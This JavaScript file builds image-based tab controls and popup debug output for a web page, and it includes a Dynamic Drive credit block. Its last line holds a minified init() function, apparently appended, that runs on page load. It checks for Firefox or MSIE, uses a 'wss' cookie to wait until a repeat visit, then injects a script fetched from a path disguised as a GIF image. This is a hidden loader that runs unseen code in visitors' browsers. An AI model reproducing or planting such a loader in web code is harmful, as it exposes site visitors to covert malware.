	//If there isoverlap,  calc overlap size in square pixels
	if(topLeftCornerEl2InEl1 || bottomLeftCornerEl2InEl1 || topRightCornerEl2InEl1 || bottomRightCornerEl2InEl1 || bottomEl2InEl1 || topEl2InEl1 || leftEl2InEl1 || rightEl2InEl1 || el2CompletelyOverlapsEl1) 
		{//coordinates of overlap-area
		var ovlLeft,ovlTop,ovlRight,ovlBottom; 		
		//set which sides border the overlap area
		if(topLeftCornerEl2InEl1) {ovlLeft=el2Left; ovlTop=el2Top; ovlRight=el1Right; ovlBottom=el1Bottom;}
		else if(bottomLeftCornerEl2InEl1) {ovlLeft=el2Left; ovlTop=el1Top; ovlRight=el1Right; ovlBottom=el2Bottom;}
		else if(topRightCornerEl2InEl1) {ovlLeft=el1Left; ovlTop=el2Top; ovlRight=el2Right; ovlBottom=el1Bottom;}
		else if(bottomRightCornerEl2InEl1) {ovlLeft=el1Left; ovlTop=el1Top; ovlRight=el2Right; ovlBottom=el2Bottom;}
		else if(bottomEl2InEl1) {ovlLeft=el1Left; ovlTop=el1Top; ovlRight=el1Right; ovlBottom=el2Bottom;}
		else if(topEl2InEl1) {ovlLeft=el1Left; ovlTop=el2Top; ovlRight=el1Right; ovlBottom=el1Bottom;}
		else if(leftEl2InEl1) {ovlLeft=el2Left; ovlTop=el1Top; ovlRight=el1Right; ovlBottom=el1Bottom;}
		else if(rightEl2InEl1) {ovlLeft=el1Left; ovlTop=el1Top; ovlRight=el2Right; ovlBottom=el1Bottom;}
		else if(el2CompletelyOverlapsEl1) {ovlLeft=el1Left; ovlTop=el1Top; ovlRight=el1Right; ovlBottom=el1Bottom;}
		//calculate overlap area in square pixels
		overlap=(ovlRight-ovlLeft)*(ovlBottom-ovlTop);
		}

	return overlap;	
	}	
	

	
function givePopUpDebugInfo(oPopUp)
	{var string=""
	//+"Request="ed mainpos="+oPopUp.mainPos+", align="+oPopUp.align+"<br />"
	//+"shiftHor="+oPopUp.shiftHor+", shiftVert="+oPopUp.shiftVert+"<br /><br />"
	+"callingElemLeft="+oPopUp.callingElemLeft+"<br />"
	+"callingElemTop="+oPopUp.callingElemTop+"<br />"
	+"callingElemWidth="+oPopUp.callingElemWidth+"<br />"
	+"callingElemHeight="+oPopUp.callingElemHeight+"<br />"
	+"callingElemRight="+oPopUp.callingElemRight+"<br />"
	+"callingElemBottom="+oPopUp.callingElemBottom+"<br />"
	//+"callingElemLRCenter="+oPopUp.callingElemLRCenter+"<br />"
	//+"callingElemTBCenter="+oPopUp.callingElemTBCenter+"<br /><br />"		
	+"popUpLeft="+oPopUp.popUpLeft+"<br />"
	+"popUpWidth="+oPopUp.popUpWidth+"<br />"
	+"popUpRight="+oPopUp.popUpRight+"<br />"
	+"popUpTop="+oPopUp.popUpTop+"<br />"
	+"popUpHeight="+oPopUp.popUpHeight+"<br />"
	+"popUpBottom="+oPopUp.popUpBottom+"<br /><br />"
	//+"overlap= "+oDebug.overlap+"<br />"	
	//+"topLeftCornerEl2InEl1="+oDebug.topLeftCornerEl2InEl1+"<br />"
	//+"bottomLeftCornerEl2InEl1="+oDebug.bottomLeftCornerEl2InEl1+"<br />"
	//+"topRightCornerEl2InEl1="+oDebug.topRightCornerEl2InEl1+"<br />"
	//+"bottomRightCornerEl2InEl1="+oDebug.bottomRightCornerEl2InEl1+"<br />"
	//+"bottomEl2InEl1="+oDebug.bottomEl2InEl1+"<br />"
	//+"topEl2InEl1="+oDebug.topEl2InEl1+"<br />"
	//+"leftEl2InEl1="+oDebug.leftEl2InEl1+"<br />"
	//+"rightEl2InEl1="+oDebug.rightEl2InEl1+"<br />"
	//+"el2CompletelyOverlapsEl1="+oDebug.el2CompletelyOverlapsEl1+"<br />"
	//+"el1Left="+oDebug.el1Left+"<br />"
	//+"el1Top="+oDebug.el1Top+"<br />"
	//+"el1Right="+oDebug.el1Right+"<br />"
	//+"el1Bottom="+oDebug.el1Bottom+"<br />"
	//+"el2Left="+oDebug.el2Left+"<br />"
	//+"el2Top="+oDebug.el2Top+"<br />"
	//+"el2Right="+oDebug.el2Right+"<br />"
	//+"el2Bottom="+oDebug.el2Bottom+"<br />"
	
	$("debugDiv").innerHTML=string+oDebug.string;
	}
	


/* **********************************************
* Show Hint script- © Dynamic Drive (www.dynamicdrive.com)
* This notice MUST stay intact for legal use
* Visit http://www.dynamicdrive.com/ for this script and 100s more.
********************************************** */

/////////////////////////////////////////////////////////////////////////////
//FUNCTION WRITETABPAGE()
//displays a pagelike rectangle with a tab-control
/* Revision-history
2-03-2003  New file by PG
5-4-2003 *improved* put all the tabimages in a shared/gen_img folder and made the path to there a default path
8-4-2004 *modified* added tabwidthfactor to determine tabwidth not only via fontsize
	*tried_but_reversed* calculate nr of pixels for a letter and for texttop stepless from fontsize and without upper/lower limits; this needs further testing of rendered lettersizes/tabheights etc.
11-10-2004 *fixed* built in prevention for case that no text is defined yet
11-10-2004 *triedunsuccesfully* to make tabpagesize rel to specified obj's pos, but ran into problems because other objects only get their sizing later on the page, it is not wise in a kernel-function that introduces objects at loading to refer to properties of objects that also are defined during loading.
4-11-2006 ADD option to insert the tabpage in a sepcified element via added first argument insert_modeorelemID
(date)  
5-3-2007 CHG arguments-list to objArguments
5-3-2007 ADD option specifying a background color for the tab pages

EXPECTS AN OBJECT WITH AS (ALL OPTIONAL) PROPERTIES:
- insertModeOrElemId: 
	"" or "writeindoc" to write the tabpage with document.write() hard in the document
	"returnstring" to return the generated html string
	"an elemID" to insert the tabpage into an element using inserthtml()
- idGenPrefix= an IDprefix that is general for the whole group of tabs and the pagelike rectangle
- pathToImg= URL path to location of the images
- fontSize: 85% is the standard
- tabWidthFactor: 100% is the standard
- functionToActivate=function in the calling page in which the switching of the stuff displayed within the pagelike rectangle is steered
- backgroundColor: #C0C0C0 (grey) is default
- tabPageLeft,tabPageTop,tabPageWidth,tabPageHeight= dimensions of the pagelike rectangle. NB: the tabs extend 24 px on top of this!
- tabTexts: an array containing arbitrary nr of tabTexts. A tab is formed for each text given.
FURTHER EXPECTS:
- presence of the constituing images on a location with a path relative to the calling path specified in pathtoimg (in shared/gen_img/graphics)
- the 16 constituing images are:
tab_back_lft.gif
tab_back_mid.gif
tab_back_rght.gif
tab_front_lft.gif
tab_front_lft_page_crn.gif
tab_front_mid.gif
tab_front_rght.gif
tab_page_bor_bottom_mid.gif
tab_page_bor_lft_mid.gif
tab_page_bor_rght_mid.gif
tab_page_bor_top_mid.gif
tab_page_lft_lwr_crn.gif
tab_page_lft_top_crn.gif
tab_page_rght_lwr_crn.gif
tab_page_rght_top_crn.gif
senser.gif
- presence in the calling page of the function specified in func_to_activ. This function will recieve as argument IDgenprefix+"tab"+nr_of_tab_hit. So if IDgenprefix= "TB" an the 2nd tab is hit it would recieve the argument "TBtab2"
- the central div gets the ID IDgenprefix+"centraldiv"
*/
//You can pass more or less arguments, each optional, see:
//minimal version:
//{tabPageLeft:,tabPageTop:,tabPageWidth:,tabPageHeight:,tabTexts:[,,]}

//version with all arguments:
//{idGenPrefix:"tb",pathToImg:"av/",fs:"85%",tabWidthFactor:"100%",functionToActivate:"dothis",backgroundColor:"#C0C0C0",tabPageLeft:,tabPageTop:,tabPageWidth:,tabPageHeight:,tabTexts:[,,]}


function writetabpage(objArguments) //
    {//init, collect the arguments in easy variables
	var oA= objArguments //shorthand
	if(typeof oA!="object") {alert("Error in func writetabpage. Passed argument '"+oA+"' is not an object");return}
	//variables, if none specified, set defaults
	var IDgen= (exists(oA.idGenPrefix)) ? oA.idGenPrefix : "";
	var pathtoimg= (exists(oA.pathToImg)) ? oA.pathToImg : "";
	var fs= (exists(oA.fontSize)) ? oA.fontSize : "85%"
	var tabwidthfactor= (exists(oA.tabWidthFactor)) ? oA.tabWidthFactor : "100%"
	var func_to_activ= (exists(oA.functionToActivate)) ? oA.functionToActivate : ""
	var backgroundColor=(exists(oA.backgroundColor)) ? oA.backgroundColor : "#C0C0C0"
	var tabpageleft= (exists(oA.tabPageLeft)) ? oA.tabPageLeft : 0
	var tabpagetop= (exists(oA.tabPageTop)) ? oA.tabPageTop : 0
	var tabpagewidth= (exists(oA.tabPageWidth)) ? oA.tabPageWidth : 1000	
	var tabpageheight= (exists(oA.tabPageHeight)) ? oA.tabPageHeight : 600
	var tabTexts= (exists(oA.tabTexts)) ? oA.tabTexts : new Array()
	var txt=new Array()
	//make array txt 1-based instead of zero based tabTexts as small workaround, else get positioning problems further that take more time to figure out
	for (var i=0;i<tabTexts.length;i++)
    	{txt[i+1]=tabTexts[i]}

	var nrtabs=txt.length-1
	var string,elemID_to_insert_in
	var ifnt=parseInt(fs) //take off "%" and convert to Int (for calc)
	var twfact=parseInt(tabwidthfactor) //take off "%" and convert to Int (for calc)
	var ll=parseInt(tabpageleft)
	var tt=parseInt(tabpagetop)
	var ww=parseInt(tabpagewidth)
	var hh=parseInt(tabpageheight)

	var tabw=new Array() //the tabwidths
	var tabsp=new Array() //startpos of tab with startpos 1st tab=0
	tabsp[1]=0
	var lw //letterwidth in pixels
	var idlist //for construction of list of id's of 1st tab
	var txttop //the 'top' position of the div's that contain the texts on the tabs
	
	//URLs 
	var srcpe1="tab_page_lft_top_crn.gif" //the page-forming images
	var srcpe2="tab_page_bor_top_mid.gif"
	var srcpe3="tab_page_rght_top_crn.gif"
	var srcpe4="tab_page_bor_lft_mid.gif"		//elem 5 = div that fills the page
	var srcpe6="tab_page_bor_rght_mid.gif"
	var srcpe7="tab_page_lft_lwr_crn.gif"
	var srcpe8="tab_page_bor_bottom_mid.gif"
	var srcpe9="tab_page_rght_lwr_crn.gif"
	var	srctbl="tab_back_lft.gif"	    //the tab-forming images
	var srctbm="tab_back_mid.gif"
	var srctbr="tab_back_rght.gif"
	var srctflc="tab_front_lft_page_crn.gif"
	var srctfl="tab_front_lft.gif"
	var srctfm="tab_front_mid.gif"
	var srctfr="tab_front_rght.gif"
	var srcsens="senser.gif"
	
	//shorthands
	var ii="<img id=\""+IDgen
	var is="\" src=\""+pathtoimg
	var il="\" style=\"position:absolute;left:"
	var it="px;top:"
	var iw="px;width:"
	var ih="px;height:"
	var iend="px\" > "
		
	//determine nr of pixels needed per letter in the tabtexts and texttop
	//= nrof pixels counted on screen for a 'w' + 1 pixel between the letters
	if(ifnt>100){lw=14; txttop=-20} 
	if(ifnt<=100 && ifnt>95) {lw=12; txttop=-18}
	if(ifnt<=95 && ifnt>=75) {lw=10; txttop=-16}
	if(ifnt<75) {lw=8; txttop=-14}
	
	//8-4-2004 tried, determine nr. of pixels per letter and texttop; 
	//as above, but now stepless and without max or min fontsize
	//factors seem to turn out a bit too big, needs further testing to make stepless
	//lw=14*ifnt/100; 
	//txttop=-20*ifnt/100
	
	//for each tab calc width in pixels and startpos in pixels of tab with startpos 1st tab=0
	for(var i=1;i<=nrtabs;i++)
		{//alert("txt["+i+"]="+txt[i])
		//tabwidth in pixels=nr of letters x letterwidth + margin L&R of word 
		//+left and right sides (each 4px) of tab
		//8-4-2004 added multiplication by tabwidthfactor
		tabw[i]=Math.round(((txt[i].length)*lw +lw/2)*twfact/100 +8)
		tabsp[i+1]=tabsp[i]+tabw[i] //nexttab's startpos=startpos of this one plus its width
		}
	
	//construct the html declarations for page forming pieces	
	var pgelem1=ii+"pe"+1+is+srcpe1+il+ll+it+tt+iw+4+ih+4+iend
	var pgelem2=ii+"pe"+2+is+srcpe2+il+(ll+4)+it+tt+iw+(ww-8)+ih+4+iend
	var pgelem3=ii+"pe"+3+is+srcpe3+il+(ll+ww-4)+it+tt+iw+4+ih+4+iend
	var pgelem4=ii+"pe"+4+is+srcpe4+il+ll+it+(tt+4)+iw+4+ih+(hh-8)+iend
	var pgelem5="<div id=\""+IDgen+"centraldiv"+il+(ll+4)+it+(tt+4)+iw+(ww-8)+ih+(hh-8)+"px; z-index:0;background-color:"+backgroundColor+"\"></div> "
	var pgelem6=ii+"pe"+6+is+srcpe6+il+(ll+ww-4)+it+(tt+4)+iw+4+ih+(hh-8)+iend
	var pgelem7=ii+"pe"+7+is+srcpe7+il+ll+it+(tt+hh-4)+iw+4+ih+4+iend
	var pgelem8=ii+"pe"+8+is+srcpe8+il+(ll+4)+it+(tt+hh-4)+iw+(ww-8)+ih+4+iend
	var pgelem9=ii+"pe"+9+is+srcpe9+il+(ll+ww-4)+it+(tt+hh-4)+iw+4+ih+4+iend
	//concatenate
	string=pgelem1+pgelem2+pgelem3+pgelem4+pgelem5+pgelem6+pgelem7+pgelem8+pgelem9
	
	//construct the html declarations for the tabs
	for(var i=1;i<=nrtabs;i++)
		{//the back-tabs
	string+=ii+"tbl"+i+is+srctbl+il+(ll+tabsp[i]+2)+it+(tt-18)+iw+4+ih+18+"px;z-index:49\" > ";
	string+=ii+"tbm"+i+is+srctbm+il+(ll+tabsp[i]+6)+it+(tt-18)+iw+(tabw[i]-8)+ih+18+"px;z-index:49\" > ";
	string+=ii+"tbr"+i+is+srctbr+il+(ll+tabsp[i]+6+tabw[i]-8)+it+(tt-18)+iw+4+ih+18+"px;z-index:49\" > ";
		//the front-tabs
		if(i==1) //for 1st tab take the tab-front page left corner img
			{string+=ii+"tfl"+i+is+srctflc+il+(ll+tabsp[i])+it+(tt-20)+iw+4
			+ih+24+"px;z-index:50;visibility:hidden\" > ";}
		else //else take the regular tab front left img
			{string+=ii+"tfl"+i+is+srctfl+il+(ll+tabsp[i])+it+(tt-20)+iw+4
			+ih+24+"px;z-index:50;visibility:hidden\" > ";}
		string+=ii+"tfm"+i+is+srctfm+il+(ll+tabsp[i]+4)+it+(tt-20)+iw+(tabw[i]-4)
		+ih+24+"px;z-index:50;visibility:hidden\" > ";
		string+=ii+"tfr"+i+is+srctfr+il+(ll+tabsp[i]+4+tabw[i]-4)+it+(tt-20)+iw+4
		+ih+24+"px;z-index:50;visibility:hidden\" > ";
		//the text on the tabs
		string+="<div id=\""+IDgen+"txt"+i+il+(ll+tabsp[i]+6)+it+(tt+txttop)+iw+(tabw[i]-8)+ih+(-txttop)
		+"px;font-size:"+fs+";text-align:center;z-index:51\">"+txt[i]+"</div> "
		//the senser transparent img in front of the tabs that grabs the click on a tab
		//and makes the tabs work
		string+=ii+"sens"+i+is+srcsens+il+(ll+tabsp[i]+2)+it+(tt-18)+iw+(tabw[i])
		+ih+18+"px;z-index:100\" onclick=\"tabswitch('"+IDgen+"tab"+i+"',"+nrtabs+");"
		
		string+=(func_to_activ in window)? func_to_activ+"('"+IDgen+"tab"+i+"')\"> " : "\"> "
		}//end of for loop constructing the tabs

	return string;
    }// end of func writetabpage
	
function tabswitch(tabtofront,nrtabs) //
    {
	//init
	var posstringtab
	var IDgen
	var tabhitnr
	var string
    //alert("clicked on"+tabtofront+",nr of tabs="+nrtabs)

	//get pos in the string tabtofront where 'tab' stands
	posstringtab=tabtofront.search("tab")
	//in front of 'tab' is the general ID of the group of tabs
	IDgen=tabtofront.slice(0,posstringtab)
	//the nr of the hit tab is what is behind 'tab'
	tabhitnr=parseInt(tabtofront.slice(posstringtab+3))
	//alert("IDgen="+IDgen+",nr of tab hit="+tabhitnr)
	
	//hide all front tabs of this group of tabs
	for(var i=1;i<=nrtabs;i++)
		{//construct string that contains the tab's left side, mid piece and right side
		h(IDgen+"tfl"+i);h(IDgen+"tfm"+i);h(IDgen+"tfr"+i);
		}
	
	//finally show the front tab of the hit tab
	s(IDgen+"tfl"+tabhitnr);s(IDgen+"tfm"+tabhitnr);s(IDgen+"tfr"+tabhitnr);
	
	} //end of func tabswitch

function createDebugDiv()
	{var debugDiv=document.createElement("div");
	debugDiv.setAttribute("id","debugDiv");
	debugDiv=document.body.appendChild(debugDiv);
	return debugDiv;
	}

function trace(string)
	{var debugDiv=$("debugDiv")
	var traceNow=debugDiv.innerHTML;
	debugDiv.innerHTML=traceNow+"<br />"+string;
	} 


function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/av/emptyimage.gif?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
